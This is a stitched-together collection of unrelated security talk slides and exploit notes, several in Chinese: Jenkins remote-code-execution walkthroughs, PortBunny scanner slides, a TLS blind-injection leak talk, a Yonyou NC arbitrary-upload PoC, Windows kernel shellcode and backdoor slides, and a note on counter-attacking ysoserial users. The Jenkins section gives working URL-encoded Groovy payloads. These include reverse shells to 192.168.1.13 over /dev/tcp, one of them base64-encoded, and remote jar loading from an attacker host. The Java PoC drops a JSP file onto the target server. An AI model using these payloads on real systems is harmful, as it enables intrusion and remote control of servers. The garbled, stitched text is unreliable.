http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d 通过时间延迟来判断命令是否执⾏: 延时5s http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.sc riptsecurity.sandbox.groovy.SecureGroovyScript/checkScript? sandbox=true&value=class%20abcd%7Babcd()%7Bsleep(5000)%7D%7D 反弹shell http://jackson-t.ca/runtime-exec-payloads.html 将payload 进⾏转化 bash -c "bash -i >& /dev/tcp/192.168.1.13/9090 0>&1" 成功收到反弹的shell 命令执⾏: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox .groovy.SecureGroovyScript/checkScript ?sandbox=true &value=public%20class%20x%20%7B%0A%20%20public%20x()%7B%0A%20%20%20%20%22touch%20%2Ftmp %2Fsuccess%22.execute()%0A%20%20%7D%0A%7D http://localhost:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.s criptsecurity.sandbox.groovy.SecureGroovyScript/checkScript? sandbox=true&value=public%20class%20x%20%7B%0A%20%20public%20x()%7B%0A%20%20%20%20%22ba sh%20- c%20%7Becho%2CYmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMvOTA5MCAwPiYxIgo %3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22.execute()%0A%20%20%7D%0A%7D [常⻅]CVE-2019-1003000系列插件远程代码执⾏ https://anquan.baidu.com/article/631 影响版本 在 Jenkins < 2.137 不需要任何权限即可利⽤该漏洞执⾏任意代码达到命令执⾏的⽬的,但是当 Jenkins > 2.138 需 要普通⽤户权限才可以利⽤该漏洞 实际影响版本编号: CVE-2019-1003000/1003005/1003029 (Script Security) :Script Security Plugin <= 1.53 CVE-2019-1003001 (Pipeline: Groovy): Pipeline: Groovy Plugin <= 2.61 CVE-2019-1003002 (Pipeline: Declarative): Pipeline: Declarative Plugin <= 1.3.3 漏洞检测 可以利⽤ orange 的脚本来进⾏检测 脚本链接:https://github.com/orangetw/awesome-jenkins-rce-2019 在脚本中⾸先会判断我们能否进⾏匿名读取,如果不能就会利⽤bypass尝试绕过(bypass适⽤版本 <= 2.137) 如果可以进⾏匿名读取则会有如下特征 RCE 这⾥有两种⽅法,⼀种是远程加载 jar 包来实现rce ,另⼀种是通过知道账号密码即低权限的情况下才需要 远程下载 Jar 包 该⽅法⽐较通⽤ 利⽤远程加载 jar 包从⽽ getshell,链接:https://github.com/petercunha/jenkins-rce 下载好的项⽬结构是这样的 将 payload.java 修改成我们⾃⼰的内容,然后运⾏ build.sh 进⾏打包,然后利⽤ python 开⼀个 http 服务器 ps:在 www ⽂件夹下开启 然后将我们的 poc 直接进⾏发送 Poc 同时修改项⽬中的 java ⽂件为我们的反弹shell的命令 http://localhost:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.w orkflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='payload', root='http://192.168.1.13:8001')%0a @Grab(group='package', module='payload', version='1')%0a import Payload; 运⾏ build.sh 即可⾃动进⾏打包 接下来发送 poc 来让受害机远程加载我们的 payload 监听2333端⼝,成功监听到了,并且能执⾏命令 Script Security Plugin allows attackers with Overall/Read permission to execute 需要有 Overall/Read 同时能配置 job 的权限 直⽩点说就是能看到⻚⾯,然后能对job进⾏配置的修改 可直接通过脚本进⾏ RCE ,⼯具链接:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc 同时该⽅法是有回显的 ⼿⼯操作如下: import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ } print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString() 点击⽴即构建 命令回显如下: CVE-2019-10392 Jenkins Git 插件命令执⾏ 影响版本 https://talosintelligence.com/vulnerability_reports/TALOS-2019-0788 https://www.secpulse.com/archives/113004.html Jenkins Git Client Plugin < 2.8.4 ps:限制条件是攻击者需要有Overall/Read 和 创建 job 的权限 漏洞利⽤ 在 url 那栏添加如下 payload,即可得到命令的回显 --upload-pack="`whoami`"
pdf
PortBunny A kernel-based port-scanner Copyright © 2007 Recurity Labs GmbH Copyright © 2007 Recurity Labs GmbH Copyright © 2007 Recurity Labs GmbH Copyright © 2007 Recurity Labs GmbH A Port Scanner? *Yawn* Port scanning is fun for most people Needs random scanning Needs 1337 output Needs 23 different scanning types Port scanning is work for some people Needs Accuracy Needs Speed Speed Time Money Will use dedicated machines Why not nmap? 3 * 255 Hosts in 30 days with nmap I’m actually coming of age Your scanner is not 1337 if it takes 13:37 per host! No, --disable-waiting-for-things-that-dont-happen doesn’t cut it Professionals don’t scan hosts that are … … powered off … disassembled … currently being carried around in the office Large scale network scanning is application stocktaking, not vulnerability identification Little interest in the one fully filtered host with only port 23420 open Much interest in how many systems in five Class B networks have port 12345 open And on a more abstract level… All discovery methods depend on a single set of information: the list of open, closed and filtered TCP ports OS Fingerprinting Service probing Banner grabbing Accordingly, we need this list first, and quickly at that Our Requirements TCP SYN Scanning only, no XMAS trees No UDP Scanning UDP scanning is a negative scan method Information value of a UDP scan of a properly firewalled host with UDP services is exactly zero Constant access to result data Offloading fingerprinting tasks right when results become available Design for embedded use Engine design with variable front ends Bottom line: Do just one thing, but do it right. PortBunny Portbunny scans faster by sending more Portbunny builds a bridge between TCP congestion control and port-scanning. Portbunny shows that vanilla TCP-SYN port- scans already leave you with lots of room for research. 1. Port-Scanning - Basics 21 CLOSED 22 OPEN 23 FILTERED RST-ACK SYN SYN SYN-ACK SYN Identify open, closed and filtered ports by sending connection requests and observing responses. (TCP-SYN or “half- open”-scanning) Naive port-scanner Won’t quite do it. Sending as fast as possible may result in dropped packets or even congestion collapse. Open/Closed ports will be falsely reported as being filtered. Optimal speed may change over time! foreach p in ports_to_scan: send_request_to(p) get_response() Tell us to slow down, please. Q: Will the network explicitly tell us that we should slow down? A: In general, no. Exception: ICMP source-quenches, Exception: ECN. What info do we have? If a response is received, we have a round- trip-time. Packet-drops can be detected given that we know a certain packet should have provoked an answer. That’s all. 2. A network model Edges: Throughput (Delay), Reliability Nodes: Queuing-capacity In 54Mbps 1Gbps 100MBps Out Scanner Target Simplification Bottleneck Model implicitly suggested by the term “bottleneck” and by experience from socket-programming. $MinimumThroughputOfNodesInvolved bps Optimal speed Speed is the number of packets sent per time- frame. Find the optimal delay. Optimal speed faster slow So much for theory… … but finding the optimal delay will fail in practice! The round-trip-time problem Dropped packets can’t be detected before a complete round-trip-time has passed. At that time about rtt/delay other packets have already been sent to maintain the “optimal delay”. X X X X Drop detected! Drop detected, but way too late :/ Queuing capacity “You can fire 10 packets at a delay of 0 but that doesn’t mean you can do the same with 100 packets.” Why? The network has limited ability to queue data. This very Important property of the network suggests a new model. The “bucket-model” MacOsX Think of each host as a bucket with a hole at the bottom. The optimal speed has been reached when buckets are at all times filled completely. New model, new question Old question: “How long should I wait before sending the next packet” New question: “How much data can be out in the network at once?” TCP Congestion Control TCP congestion control schemes ask that exact same question! Very active research-field. Let’s make use of those existing results! Doesn’t that work automatically? Network-Layer (IPv4/IPv6/...) Transport-Layer (TCP/UDP/ICMP/IGMP) Application-Layer (HTTP/FTP/SSH) Data-Link-Layer (Ethernet/PPP/Token-ring) Physical Layer Why do we have to implement congestion control at all? Doesn’t TCP provide congestion control to upper layers? No established TCP- connection Control the emission of IP- packets which happen to be TCP-SYNs. TCP vs. Port-Scanning Port-Scanning Packets may not produce answers. Timeouts are not error-conditions No sequence numbers TCP Receiver acks packets. Timeouts are error- conditions Sequence-numbers are used … in other words: The TCP-receiver is cooperative A port-scanned host is not cooperative. Of course, that doesn’t mean we can’t force it to be. Triggers - forcing cooperation Before starting the scan, find one or more packets which trigger a response. PortBunny tries the following: ICMP-Echo Requests ICMP Timestamp Requests ICMP Address-Mask Requests TCP-SYN Port 22/80/139/135 … UDP Port … Inserting triggers into the probe-stream Insert these packets into the packet-stream and base your timing-code on the triggers SYN 10 SYN 140 TRIGGER SYN 164 SYN 24 TRIGGER What’s that good for? Trigger-responses now play the same role Acknowledgments play in TCP’s congestion control! We receive constant information about the network’s performance no matter if it is largely filtered or not! A timeout is actually a signal of error! What NMAP Had in Mind 0 5 10 15 20 25 30 35 40 45 50 55 NMAP on a responsive host time CWND Drop detected Going into cong. avoidance ssthresh has been divided by 2 What nmap forgot. 0 5 10 15 20 25 30 35 40 45 50 55 NMAP scanning a mostly filtered host time cwnd An open port has been identified! But let’s be fair: If a host has not responded in 5 seconds, a ping is sent. A response is then counted as 3 regular responses. This is called the “port scan ping”-system /* When a successful ping response comes back, it /* When a successful ping response comes back, it /* When a successful ping response comes back, it /* When a successful ping response comes back, it counts as this many "normal" responses, because the counts as this many "normal" responses, because the counts as this many "normal" responses, because the counts as this many "normal" responses, because the fact that pings are fact that pings are fact that pings are fact that pings are neccessary neccessary neccessary neccessary means we aren't means we aren't means we aren't means we aren't getting much input. */ getting much input. */ getting much input. */ getting much input. */ … and then there are filtered hosts ☺ 65535 ports, mostly filtered, Internet. 0:15.00 m 12:18.00 m Why mention Sequence-Numbers? Out-of-oder-queue 2 Next seq-num expected: 2 3 5 6 3 4 4 4 An Ack is sent by the receiver for each packet Duplicate Acks indicate packet- loss! Fast-retransmit Trigger Sequence-Numbers When integrating sequence-numbers into triggers, an algorithm similar to fast- retransmit can be implemented: Trigger-Response 6 MISSING Trigger-Response 7 Trigger-Response 8 Trigger-Response 9 Trigger-Response 5 Example: • Responses for 7, 8 and 9 have been received but there’s no response for 6. • One can assume that 6 has been dropped even if its timeout-value has not been reached! Timeout-detection without triggers Drops can only be detected after resending If a resent probe produces an answer, obviously, the initial probe was dropped. Each probe has its own timeout-clock. That doesn’t scale well. /* /* A A previous previous probe must have been lost ... */. probe must have been lost ... */. Consequence To stay responsive to drops, probes that may have just dropped must be resent straight away! This makes you extremely vulnerable to the “late-responses”-problem “Late-responses” Problem Slot for response from Port 88 Slot for response from Port 10 Send probe 88 Slot for response from Port 3333 Slot for response from Port 88 Slot for response from Port 10 Slot for response from Port 3333 Resend probe 88 Response for probe 88 If the approximation of the timeout is too optimistic, responses arrive shortly after the resend has occurred. Lots of unnecessary traffic which reduces the scanning-speed. (1) (2) Defeating late- responses (with triggers) L F Port-Ring-List Timed-out batch Reinsert unknown ports Batch-creator create New batch PortBunny does not rely on immediate resends to detect packet-loss! The probe can be resent after ALL other unknown ports have been probed! Triggers vs. TCP Trigger-based scanning Triggers are acknowledged. Trigger-Timeouts are error-conditions. Sequence-numbers are used for all triggers. TCP Receiver acks packets. Timeouts are error- conditions Sequence- numbers are used Benefits of trigger-use Filtered hosts can be scanned properly Packet-drops can be detected much earlier leading to better responsiveness to drops. Immediate probe resends are not necessary anymore which helps reduce useless extra traffic. Port-Scanning has been ported to the tcp- congestion control domain! We can implement any TCP-congestion-control scheme! Problems with triggers Not all triggers have the same quality: ICMP-triggers and UDP-triggers could be rate- limited while probes aren’t. TCP-triggers are the best available triggers. QoS might be a problem, some times A host may not respond to any supported trigger. Fixes Try to find TCP-SYN-triggers first and use ICMP and UDP-triggers as a fallback-solution. If a TCP-SYN-trigger can be found at scan- time, add it to the list of triggers in use and discard fallback-triggers. Racing on responsive hosts PortBunny sends 10% more data because of the triggers? Can it still compete with the standard tool NMAP on responsive hosts? VS VS Numbers and demonstration Fresh numbers will be included in the final slide-set, which you can download at http://portbunny.recurity.com Problems The bucket-model is NOT valid for rate-limiting firewalls-configurations! We can implement any congestion-control- scheme designed for TCP but we can’t expect the user to know these algorithms and choose a suited one. Algorithms implemented: Classic TCP-Reno TCP-Scalable Slight Reno-improvement for long-distance networks TCP-BIC for so called “long-fat pipes” TCP-Vegas Experimental pro-active algorithm, which we want to use for WiFi. We need detection The scanner needs to be able to interpret network-conditions and choose a timing- algorithm, which is most suited by itself. The scanner is the expert on these issues, not the user. Trying to detect rate-limits Translates to: If packet-drops are particularly bad, break the entire timing-concept. ⇒ The CWND will not reflect the number of probes out at once anymore! ⇒ The self-clocking-property is being ignored! /* If packet drops are particularly bad, enforce a /* If packet drops are particularly bad, enforce a /* If packet drops are particularly bad, enforce a /* If packet drops are particularly bad, enforce a delay delay delay delay betwee betwee betwee between n n n packet sends (useful for cases such packet sends (useful for cases such packet sends (useful for cases such packet sends (useful for cases such as UDP scan where responses as UDP scan where responses as UDP scan where responses as UDP scan where responses are frequently rate are frequently rate are frequently rate are frequently rate limited by limited by limited by limited by dest dest dest dest machines or firewalls) */ machines or firewalls) */ machines or firewalls) */ machines or firewalls) */ Scanning the IPHONE 7:58.03 m 24:41.51 m First approach: RTT-changes Exponential RTT-increase Oh, that's easy! Just send a burst of data, which is big enough and measure RTT. If RTT-increase is exponential right before the drop, it's congestion, otherwise it's a rate- limiting firewall. Nope, doesn’t work for bursts What the hell? Q: Where does this linear increase come from? A: That’s a really pretty illustration of queuing. Experiment: Send a burst of 50 triggers to ... (1) the next hop in a 100Mbit-LAN (2) A host within your country over a DSL-Link. (3) A host far, far away, also over a DSL-Link. Measure the RTT and normalize it The “Burst-Response” That’s all very pretty, but … … now what do we do? How will we detect rate-limitation given this unfortunate result? Scanning does mean offering data at a certain rate over a longer time-period. Detection during the scan is hard because we’re constantly changing the net-load A “one-” or “n-burst” solution would rock… RTT-Development during scans (Reno) Decide based on number of drops? Of, course, we could just say ”if our timing seems to somehow not work, there's a chance that there's a rate-limitation installed” But as we've seen with the IPHONE, that must not be the case -> device could just be a ”dropper”. Results of a false decision are disastrous New idea, limit is artificial! Rate-limitation is a totally artificial bottleneck It must be possible to reveal this artificial character somehow. And this is what we came up with … Observe: This is a packet… … and this is, too. Now if the bucket claims… … that it can fit only 4 of these: … or optionally 4 of these: … then it’s a lousy bucket. Packet-size does not matter! Rate-limitation limits number of packets, the packet-size does not matter! In contrast: congestion is caused by too much data in the network Just enlarge the packet (Add TCP-options) If still the same number of packets return, we're obviously dealing with rate-limitation. Rate-limit- detector PoC [Demonstration] Packet-filter is disabled Two bursts of pings are sent. Packets of the second burst are twice as big as those of the first Enable packet-filter Send the two bursts again. … cool, but… … this “burst-response” just looks so pretty, is there really nothing we can do with it? Can we detect WiFi-Links? error [] = 0.0589 0.0737 0.0322 0.0439 0.0421 0.0422 Mean = 0.0488 Yes, we can ☺ error [] = 0.1706 0.0823 0.1154 0.1052 0.0935 0.1578 Mean = 0.1208 Error-Calculation Given an input-vector ‘s’ of RTTs, the error can be calculated by: subtracting min(s) from each element of s dividing each element of s by max(s) calculating the absolute difference between the linear function (x) and s(x) and summing all of these differences up. Thank you! Fabian ´fabs´ Yamaguchi [email protected] Felix ´FX´ Lindner [email protected] Recurity Labs GmbH, Berlin, Germany http://www.recurity-labs.com
pdf
Hack the hackers: Leaking data over SSL/TLS Ionut Cernica Table of contents Introduction Scenarios and Challanges Blind Injection Problem Blind Injection over SSL/TLS 01 03 02 04 Demo Time – sqlmap Conclusion 05 06 whoami Security Researcher @Future Networks 5G Lab PhD Student @Department of Computer Science CTF Player Penetration Tester Entrepreneur Former Bug Bounty Hunter Special Thanks Get free access to the best online penetration testing platform for a limited time! Sign up for a free 2 weeks trial: https://pentest-tools.com/DEFCON2021 Blind Injection - How it works? ▪ One byte from each position of the information querying the server for True or False ▪ Boolean ▪ Time Based ▪ SQL Injection (Blind SQL Injection) Problem??? We can distinguish true and false from the encrypted traffic just looking on the length of the responses or the delays between them Real Problem -> BILOST BILOST -> Blind Injection Leak Over SSL/TLS Passive attack; no interaction with the victim Blind Injection exploits are written in a PREDICTABLE way f(n) = x ---- where “n” is the leak f -> the method x -> 2 types of output; True or False n -> the result; or the leak! Known methods of exploiting with blind technique Charset – abcdef-z 0123-9 Binary search – sqlmap demo Bit Shifting – not so common Challenges with the extraction methods No challenges when we are dealing with optimization techniques like binary search or bit shifting Charset method was the biggest challenge. Exploit over SSL/TLS We have the length of the packets; Boolean We have the time between packets; Time based Even there is a padding involved, in some cases we still exploit this problem. Would work if the block size is smaller than the difference between True and False responses Is not a problem with the SSL/TLS protocol Scenarios of exploiting Penetration testing company ISP – Internet Service Provider Maybe, one more reason why large countries have a strategic interest to pass the traffic of another country through their infrastructure Over Tor? Future work? You have exit nodes? Be aware of the cell padding! Tools and exploit databases All tools we analyzed exploits blind injections in a predictable manner; no exceptions  All public blind injection exploits we analyzed were found vulnerable to this problem What we did in the demo? The pentester from company A exploits a vulnerable web app with sqlmap The mitm took the encrypted traffic and did a passive attack; no interaction extracted the True and False from packet lengths feed his local sqlmap with the same True and False to leak the data Fixing this problem For charset method just shuffle the charset abcdefghijklmnopqrstuvwxyz0123456789 xd0tc7ouysq53lek9inabrzw2j84mh16vgfp For the binary search add some extra steps which your exploit won’t take them into account Conclusion The way we write Blind Injection exploits might be predictable When we want to optimize the Blind Injection attacks, we must consider inserting random steps through the optimization algorithm, be it binary search, bit shifting or any other type of optimization Defensive technique? Payload less detection! The payload complexity doesn’t matter! CREDITS: This presentation template was created by Slidesgo, including icons by Flaticon, infographics & images by Freepik Thanks Do you have any questions? [email protected]
pdf
漏洞点:/servlet/FileReceiveServlet 根据web.xml 向导,查看对应servlet的映射。 /service/* 和 /servlet/* 都对应nc.bs.framework.server.InvokerServlet 类 其类在/yonyou\home\lib\fwserver.jar 包内 其servlet的doGet和doPost方法都指向doAction方法 这里直接看doAction方法就可以了 这里主要是根据request.getPathInfo()的值获取了对应的moduleName和 serviceName 最终将值传递给了getServiceObject方法 其getServiceObject的主要作用是根据moduleName和serviceName去查找服 务。 最终问题在于FileReceiveServlet。 根据文档,FileReceiveServlet所对应的类为 com.yonyou.ante.servlet.FileReceiveServlet jar包所在目录:/yonyou\home\modules\uapss\lib 问题主要在68行,File outFile = new File(path, fileName); 这里创建了一个文件,导致任意文件上传。 不过这里需要注意的是。path和fileName的值是将req.getInputStream(); (io 流)进行反序列化操作并将结果传递给metaInfoi接口。 63行还调用了readObject()。还可以尝试一下反序列化漏洞。。。 path和filename分别获取metaInfo的TARGET_FILE_PATH键和FILE_NAME键 的值 70行,创建文件流,并将getInputStream 的内容进行写入。 造成任意文件上传。 编写POC: 这里参考了一下其他师傅的写法。 1 import java.io.ByteArrayOutputStream; 2 import java.io.IOException; 3 import java.io.InputStream; 4 import java.io.ObjectOutputStream; 5 import java.util.Map; 6 import java.io.*; 7 import java.util.HashMap; 8 9 10 public class test { 11  public static void main(String[] args) throws IOException { 12  Map metaInfo=new HashMap(); 13  metaInfo.put("TARGET_FILE_PATH","webapps/nc_web"); //nc6.5的默认目录为we bapps/nc_web。 14  //且该目录存在文件执行权限 15  metaInfo.put("FILE_NAME","test.jsp"); //定义FILE_NAME键‐》值为test.jsp 16  //根据File outFile = new File(path, fileName); 17  //文件最终在/webapps/nc_web/test.jsp 也就是根目录下的test.jsp 18  ByteArrayOutputStream bOut=new ByteArrayOutputStream(); 19  //创建字节缓冲区 20  ObjectOutputStream os=new ObjectOutputStream(bOut); 21  os.writeObject(metaInfo); 22  InputStream in=test.class.getResourceAsStream("test.jsp"); 23  //读取test.jsp的内容 24  byte[] buf=new byte[1024]; 25  int len=0; 26  while ((len=in.read(buf))!=‐1){ 27  bOut.write(buf,0,len); 28  } 29  FileOutputStream fileOutputStream = new FileOutputStream("E:\\1.cer"); 30  fileOutputStream.write(bOut.toByteArray()); 31 32  } 33 }
pdf
Windows_Kernel_Shellcode _Exploit chrO.ot Nanika Summary • What is Exploit • Windows_Shellcode • Windows_Kernel_shellcode • CreateRemoteThread backdoor “byshell” • Exploit Demo • 0day_exploit What is Exploit • Buffer overflow • Heap overflow • Format string • CGI or SQL inject Buffer overflow STACK ---------------- Local Variables ESP Buffer ---------------- EBP-> Old Value of EBP ---------------- Return Address ---------------- void func(void) { char buffer[256]; // * for(i=0;i<512;i++) buffer[i]='A'; // ! return; } Heap overflow • mov [ecx], eax • mov [eax+4], ecx buf1 = HeapAlloc(hHeap, 0, 32); strcpy(buf1,mybuf); buf2 = HeapAlloc(hHeap, 0, 32); HeapFree(hHeap, 0, buf1); HeapFree(hHeap, 0, buf2); Format string int main(int argc, char *argv[]) { char buffer[512]=""; strncpy(buffer,argv[ 1],500); printf(buffer); return 0; } printf %.123456x%.123456x%n CGI or SQL inject • ../../../../../../ • ‘!@#$%^&*() • http://127.0.0.1/a.asp?s=xxxxx Windows_Shellcode • bind shellcode • connect back shellcode bind shellcode • 編碼 • Kernel 基址定位 • API函數address定位 • Create Shell • WinSocket • 產生TCP協議參數為押入堆疊6,1,2 • Bind;綁定一個Port來做通訊 • Listen;等對方連結 • Accept;連結成功 • Send;發送 • Recv;接收 connect back shellcode • db "WSAStartup",0;edi-14h • db "socket",0;edi-10h • db "connect",0;edi-ch • db "send",0;edi-8 • db "recv",0;edi-4 Windows_Kernel_shellcode • patch EPROCESS Token • APC inject • Kernel Memery • Kernel struct • IRQL • Patch EPROCESS Token • APC_Inject Kernel Memery Kernel struct • EPROCESS • KPROCESS • ETHREAD • KTHREAD • HANDLE TABLE dt nt!_EPROCESS dt nt!_KPROCESS dt nt!_ETHREAD dt nt!_KTHREAD dt nt!_HANDLE_TABLE IRQL High Power Fail Inter-processor Interrupt Clock Dispatch/DPC Device n Device 1 APC Passive ... 31 30 29 28 0 1 2 Hardware Interrupts Software Interrupts Normal Thread Execution IRQL = Interrupt Request Level (0 to 31) IRQL = Interrupt Request Level (0 to 31) Patch EPROCESS Token +0x000 Pcb : _KPROCESS +0x084 UniqueProcessId : Ptr32 Void +0x088 ActiveProcessLinks : _LIST_ENTRY +0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0c8 Token : _EX_FAST_REF +0x190 ThreadListHead : _LIST_ENTRY APC_Inject • Kernel ffdf0000 = user 7ffe0000 • lkd> dt nt!_KTHREAD • +0x02d State : UChar • lkd> dt nt!_KAPC_STATE • +0x000 ApcListHead : [2] _LIST_ENTRY • +0x010 Process : Ptr32 _KPROCESS • +0x014 KernelApcInProgress : UChar • +0x015 KernelApcPending : UChar • +0x016 UserApcPending : UChar void KeInitializeApc(struct _KAPC *Apc, PKTHREAD thread, unsigned char state_index, PKKERNEL_ROUTINE ker_routine, PKRUNDOWN_ROUTINE rd_routine, PKNORMAL_ROUTINE nor_routine, unsigned char mode, void *context); void KeInsertQueueApc(struct _KAPC *APC, void *SysArg1, void *SysArg2, unsigned char arg4); CreateRemoteThread backdoor • backdoor byshell • monitor thread&process backdoor byshell • HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ); • LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); • BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten ); • HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); monitor thread&process • PsSetCreateProcessNotifyRoutine(ProcessCreateMon, FALSE) • PsLookupProcessByProcessId((ULONG)PId, &EProcess); • PsSetCreateThreadNotifyRoutine(ThreadCreateMon); • PsLookupThreadByThreadId((PVOID)4, &Thread); Windows Kernel shellcode Exploit • Ring3->Ring0 • Exploit Apc inject Ring3->Ring0 • OpenPhysicalMemory() • MapPhysicalMemory( ) Exploit Apc inject Demo Exploit Demo • Microsoft Jet Database Engine DB File Buffer Overflow Exploit • Microsoft Exchange Server Remote Code Execution Exploit (MS05-021) • Microsoft Internet Explorer "javaprxy.dll" Command Execution Exploit Q&A Reference • Remote Windows Kernel Exploitation - Step Into the Ring 0 (pdf) http://www.eeye.com/~data/publish/whitepapers/research/OT2005020 5.FILE.pdf • ring3->ring0 code by http://zzzevazzz.blogchina.com/427939.html • monitor thread&process http://www.xfocus.net/articles/200503/788.html • Inside Microsoft Windows 2000 • Byshell backdoor http://www.xfocus.net/tools/200412/943.html MSDN 謝謝各位
pdf
闲来无事,反制ysoserial ( 之前分析RMI的时候,发现对于客户端的反序列化攻击都是没有被修复的,也就是说如果调用了原生jdk 的rmi客户端相关调用,连接恶意JRMP服务端就会触发反序列化。 攻击客户端的场景不多,除了反打服务器,打真正客户端的场景可能就是反制了,或者叫蜜罐也行。那 么看下常见的攻击RMI的安全工具有没有这种问题。 ysoserial 上来看看Java安全神器ysoserial里和RMI有关的exp。yso里面大部分都是本地生成payload,但也有一 些打远程服务的,比如RMIRegistryExploit public static void main(final String[] args) throws Exception { final String host = args[0]; final int port = Integer.parseInt(args[1]); final String command = args[3]; Registry registry = LocateRegistry.getRegistry(host, port); final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2]; final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className); // test RMI registry connection and upgrade to SSL connection on fail try { registry.list(); } catch(ConnectIOException ex) { registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); } // ensure payload doesn't detonate during construction or deserialization exploit(registry, payloadClass, command); } public static void exploit(final Registry registry, final Class<? extends ObjectPayload> payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() {public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance();            Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; }}); } 看到了registry.list和registry.bind,这两处就是调用的原生的RegistryImpl_Stub,实际上只要是调用了 任意一个stub都会触发UnicastRef#invoke->StreamRemoteCall#executeCall导致反序列化,很明显这 里就有反序列化点了。 调用链自然也没啥问题,毕竟ysoserial算是天底下反序列化链最多的地方了。 所以攻击也很简单,就用JRMPListener起一个恶意客户端,原汤化原食了属于是: 然后客户端扮演jb小子,看见1099开了直接打: 喜提计算器。 很奇怪的是在另一个攻击rmi的脚本ysoserial/exploit/JRMPClient.java里 注释里特意写了not deserializing anything,说明开发者是想到过反打的问题的,但不知道为什么没有 注意到另一处。 ysomap ysomap是wh1t3p1g大师傅开发的Java反序列化辅助工具,和ysoserial相比可以更细化的修改 payload,但是用着比较麻烦,研究了半天也没咋用明白。 同样这个工具也提供了攻击RMI registry的功能,看一下这部分实现,在 ysomap/exploits/rmi/component/Naming.java java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit ip 1099 CommonsCollections6 whoami /** * Generic JRMP client * * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) * * @author mbechler * */ public static Remote lookup(Registry registry, Object obj)            throws Exception {        RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");        long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");        java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);        try {            try {                java.io.ObjectOutput out = call.getOutputStream();                //反射修改enableReplace 重写了lookup,调用了ref.invoke,那么一样是有反打的问题的。 没太用明白,大概是这么用吧: 服务端一样是JRMPListener,一样打cc就行。计算器x2。 RMIScout RMIScout也是一个攻击RMI的工具,看了下这个工具重点支持攻击服务端的方式,也就是通过爆破远程 方法签名攻击服务端,portswigger也宣传过这个工具https://portswigger.net/daily-swig/rmiscout-ne w-hacking-tool-brute-forces-java-rmi-servers-for-vulnerabilities 在rmiscout/RMIConnector.java一样是看到了registry.list 这个工具的攻击实际是依赖ysoserial实现的,那么一样会被反打 计算器x3                ReflectionHelper.setFieldValue(out, "enableReplace", false);                out.writeObject(obj); // arm obj           } catch (java.io.IOException e) {                throw new java.rmi.MarshalException("error marshalling arguments", e);           }            ref.invoke(call);            return null;       } catch (RuntimeException | RemoteException | NotBoundException e) { use exploit RMIRegistryExploit use payload RMIConnectWrappedWithProxy use bullet RMIConnectBullet set target ip:1099 set rhost ip2 run public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {        try {            this.host = host;            this.allowUnsafe = allowUnsafe;            this.signatures = signatures;            this.isActivationServer = isActivationServer;            String[] regNames = null;            isSSL = false;            try {                // Attempt a standard cleartext connection                this.registry = LocateRegistry.getRegistry(host, port);                regNames = registry.list(); java -jar rmiscout-1.4-SNAPSHOT-all.jar list ip 1099 其他工具 攻击RMI的还有个经典工具BaRMIe,实际上它的攻击流程也会触发反序列化,但是这个工具并不是用加 载依赖的方式来生成payload的,而是直接写死的。那么没有依赖库,反序列化也很难打本地的链了。 另外metasploit也有对应的exp,完全基于ruby实现的,自然不会有Java反序列化的问题,还是msf懂安 全。 参考链接 https://github.com/frohoff/ysoserial https://github.com/wh1t3p1g/ysomap https://github.com/BishopFox/rmiscout https://github.com/NickstaDB/BaRMIe
pdf
